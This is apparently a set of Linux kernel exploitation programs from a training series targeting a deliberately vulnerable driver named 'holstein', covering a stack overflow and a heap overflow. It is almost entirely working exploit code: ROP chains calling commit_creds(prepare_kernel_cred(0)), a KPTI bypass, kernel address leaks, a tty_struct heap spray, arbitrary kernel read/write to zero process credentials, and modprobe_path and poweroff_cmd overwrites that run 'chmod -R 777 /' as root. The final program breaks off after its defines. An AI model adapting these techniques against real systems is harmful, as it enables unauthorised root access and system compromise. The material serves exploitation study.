LK01-1 (Holstein v1: Stack Overflow)

      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define COMMIT_CREDS 0xffffffff8106e390

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile(
      "swapgs;\n"
      "mov qword ptr [rsp+0x20], %[u_ss];\n"
      "mov qword ptr [rsp+0x18], %[u_sp];\n"
      "mov qword ptr [rsp+0x10], %[u_rflags];\n"
      "mov qword ptr [rsp+0x08], %[u_cs];\n"
      "mov qword ptr [rsp+0x00], %[u_ret];\n"
      "iretq;\n" ::[u_cs] "r"(user_cs),
      [u_ss] "r"(user_ss), [u_sp] "r"(user_sp), [u_rflags] "r"(user_rflags),
      [u_ret] "r"(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, 'A', VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}
      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile(
      "swapgs;\n"
      "mov qword ptr [rsp+0x20], %[u_ss];\n"
      "mov qword ptr [rsp+0x18], %[u_sp];\n"
      "mov qword ptr [rsp+0x10], %[u_rflags];\n"
      "mov qword ptr [rsp+0x08], %[u_cs];\n"
      "mov qword ptr [rsp+0x00], %[u_ret];\n"
      "iretq;\n" ::[u_cs] "r"(user_cs),
      [u_ss] "r"(user_ss), [u_sp] "r"(user_sp), [u_rflags] "r"(user_rflags),
      [u_ret] "r"(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

static __attribute__((naked)) void get_kernel_base_and_escalate_privilege() {
  asm("mov %[k_base], qword ptr [rsp];\n" : [k_base] "=r"(kernel_base));
  kernel_base -= 0x1506B9;
  asm("jmp %[escalate_privilege];\n"
      :
      : [escalate_privilege] "i"(escalate_privilege));
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, 'A', VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(get_kernel_base_and_escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}
      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define POP_RDI 0xffffffff8127bbdc
#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define XOR_RCX_RCX 0xffffffff810abef0
#define MOV_RDI_RAX_REP 0xffffffff8160c96b
#define COMMIT_CREDS 0xffffffff8106e390
#define SWAPGS 0xffffffff8160bf7e
#define IRETQ 0xffffffff810202af

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  memset(buf, 'A', VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(SWAPGS);
  *rop_buf++ = (uint64_t)(IRETQ);
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);
  return 0;
}
      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define POP_RDI_OFFSET (0xffffffff8127bbdc - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define XOR_RCX_RCX_OFFSET (0xffffffff810abef0 - KERNEL_BASE)
#define XOR_RCX_RCX (kernel_base + XOR_RCX_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8160c96b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET (0xffffffff81800e26 - KERNEL_BASE)
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  read(fd, buf, sizeof(buf));
  kernel_base = ((uint64_t*)buf)[0x408 / 8] - 0x13d33c;
#if USER_LOG == 1
  printf("[*] kernel_base: 0x%lx\n", kernel_base);
#endif

  memset(buf, 'A', VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(BYPASS_KPTI);
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);

  return 0;
}

LK01-2 (Holstein v2: Heap Overflow)

      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_POP_RSP_R13_RBP_OFFSET (0xffffffff813a478a - KERNEL_BASE)
#define PUSH_RDX_POP_RSP_R13_RBP (kernel_base + PUSH_RDX_POP_RSP_R13_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810d748d - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81074650 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8113c1c4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8162707b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810744b0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  save_state();

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_POP_RSP_R13_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);

  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

  for (int i = 0; i < 100; ++i) {
    ioctl(tty_spray[i], 0x00, g_buf_addr - 0x08 * 2 + 0x08);
  }

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
#if PRINT_DEBUG == 1
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kEvilProcessName[] = "uniguri";
  if (prctl(PR_SET_NAME, kEvilProcessName) == -1) {
    printf("[-] Failed to set process name\n");
    return -1;
  }

  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t cur_task_addr = 0;
  for (uint64_t cur_addr = g_buf_addr - 0x1000000;; cur_addr += 8) {
    uint32_t val = AAR32(cur_addr);
#if PRINT_DEBUG == 1
    if ((cur_addr & 0xfffff) == 0) {
      printf("[*] Searching 0x%016lx...\n", cur_addr);
    }
#endif

    if (val == *(uint32_t *)(kEvilProcessName)) {
      val = AAR32(cur_addr + 0x04);
      if (val == *(uint32_t *)(kEvilProcessName + 4)) {
        cur_task_addr = cur_addr;
#if PRINT_DEBUG == 1
        printf("[+] Found current task name(%s): 0x%016lx\n", kEvilProcessName,
               cur_task_addr);
#endif
        break;
      }
    }
  }
  if (cur_task_addr == 0) {
    printf("[-] Failed to find current task\n");
    return -1;
  }

  uint64_t cur_task_cred =
      AAR32(cur_task_addr - 8) | ((uint64_t)AAR32(cur_task_addr - 4) << 32);
#if PRINT_DEBUG == 1
  printf("[*] current_task_cred: 0x%016lx\n", cur_task_cred);
#endif

  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 1; i < 9; ++i) {
    AAW32(cur_task_cred + 0x4 * i, 0);
  }

  puts("[+] Get shell!");
  system("/bin/sh");

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define MODPROB_PATH_OFFSET (0xffffffff81e38180 - KERNEL_BASE)
#define MODPROBE_PATH_ADDR (kernel_base + MODPROB_PATH_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = "/tmp/evil.sh";
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
    AAW32(MODPROBE_PATH_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }

  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");
  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn");

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define POWEROFF_CMD_OFFSET (0xffffffff81e379c0 - KERNEL_BASE)
#define POWEROFF_CMD_ADDR (kernel_base + POWEROFF_CMD_OFFSET)
#define ORDERLY_POWEROFF_OFFSET (0xffffffff810750e0 - KERNEL_BASE)
#define ORDERLY_POWEROFF (kernel_base + ORDERLY_POWEROFF_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
#if PRINT_DEBUG == 1
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = "/tmp/evil.sh";
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
    AAW32(POWEROFF_CMD_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");

  SET_IOCTL_INST_ADDR(ORDERLY_POWEROFF);
  ioctl(modified_tty_fd, 0, 0);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
